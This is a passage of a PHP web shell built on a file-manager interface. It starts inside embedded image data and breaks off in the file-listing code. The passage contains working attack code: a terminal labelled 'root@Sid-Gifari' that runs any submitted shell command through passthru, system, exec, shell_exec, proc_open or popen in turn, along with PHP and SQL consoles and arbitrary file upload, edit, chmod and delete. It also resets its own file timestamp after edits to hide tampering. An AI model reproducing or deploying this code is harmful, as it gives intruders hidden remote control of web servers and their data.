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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
